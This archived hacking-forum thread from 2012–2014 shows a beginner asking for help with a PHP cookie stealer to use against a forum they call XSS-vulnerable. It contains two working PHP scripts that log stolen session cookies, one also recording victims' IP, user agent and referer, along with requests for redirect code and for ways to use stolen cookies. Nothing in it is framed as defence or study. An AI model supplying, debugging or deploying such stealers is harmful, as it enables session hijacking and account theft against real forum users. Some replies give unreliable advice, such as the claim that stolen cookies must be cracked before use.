+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: My cookie stealer wont work? PHP Cookie stealer (/showthread.php?tid=3054941)
My cookie stealer wont work? PHP Cookie stealer - okol123 - Nov 28, 2012
Hey guys, I am new here and I learned a lot from this site.
I need some help with my cookie stealer: I got a forum target which I found is XSS vulnerable. For some reason when I use document.location script to steal the user's cookie it simply doesn't do anything.
Perhaps I got the syntax wrong, or gave the file wrong perms?
Here's my stealer's PHP script:
Code
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>Also have a cookies.txt file (same dir) with 0777 perms on it.
If you could give me the correct script syntax / stealer, or maybe tell me
what I'm doing wrong that'd be awesome..
P.S: BTW Hosted at hostgator.
Thank you guys!!
* - .Nas - Nov 28, 2012
Hi if you'd like to PM me i'll link you to one that works and is very easy.
* - okol123 - Nov 28, 2012
I dont have enough posts to PM unfortunately. :(
I really would love it though, thanks!
* - .Nas - Nov 28, 2012
Keep posting and stuff then PM me man, (:
Post on a few of my threads and i'll do it although i'm going out teaching football in a school right now so i'll do it when i'm back <3
* - Dezzz - Nov 28, 2012
(Nov 28, 2012 04:50 AM)CS5s Wrote: Hi if you'd like to PM me i'll link you to one that works and is very easy.
Why don't you just post it here so others can get it too?
* - .Nas - Nov 28, 2012
(Nov 28, 2012 04:54 AM)Dezinated Wrote: Why don't you just post it here so others can get it too?
I just don't want to give it out to everyone i'll happily give you it if you PM me. It's just one i've used before which worked great.
🤝
* - okol123 - Nov 28, 2012
(Nov 28, 2012 04:54 AM)CS5s Wrote: Keep posting and stuff then PM me man, (:
Post on a few of my threads and i'll do it although i'm going out teaching football in a school right now so i'll do it when i'm back <3
I would if I could. Posting spams is meaningless, I want to be helpful.
* - Dezzz - Nov 28, 2012
(Nov 28, 2012 04:54 AM)CS5s Wrote: I just don't want to give it out to everyone i'll happily give you it if you PM me. It's just one i've used before which worked great.
🤝
You're still giving it out to everyone that PMs you
OP can't even pm yet
* - okol123 - Nov 28, 2012
Thank you guys for the timely responses, I'd appreciate it if someone could help me out with the problem.
Thanks in advance!
* - w34k - Apr 3, 2014
Kind of wrong section, but here you go.
PHP Code
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$cookie = $HTTP_GET_VAR ['cookie'];
$date = date("D, M j, Y g:i:s A");
$file = 'log.txt';
$fap = fopen($file, "a");
fwrite($fap, "IP: $ip \n User Agent: $agent \n Cookie: $cookie \n Date: $date \n\n");
?>* - tendercareaustin - Nov 2, 2014
Maybe a tutorial on cookie stealing is something I've bn looking forward to for a long while nw.
(Apr 3, 2014 08:52 PM)w34k Wrote: Kind of wrong section, but here you go.
Nice share bro.do you knw anywhere I can find a more comprehensive tutorial on what to do with the cookies afterwards.
* - Niely - Nov 2, 2014
Try to replace:
$cookie = $_GET['cookie'];
With:
$cookie = $HTTP_GET_VARS["cookie"]
Could you also post the JavaScript/whatever from how you redirect?
/
Don't copy/paste other's code, you don't learn anything from that.
Make your own cookie-stealer line-by-line, every line with research if needed. The reward will be bigger, believe me. :)
Quote:Nice share bro.do you knw anywhere I can find a more comprehensive tutorial on what to do with the cookies afterwards.
The cookies are probably hashed/encoded, you need to crack those in order to view the content of the cookies.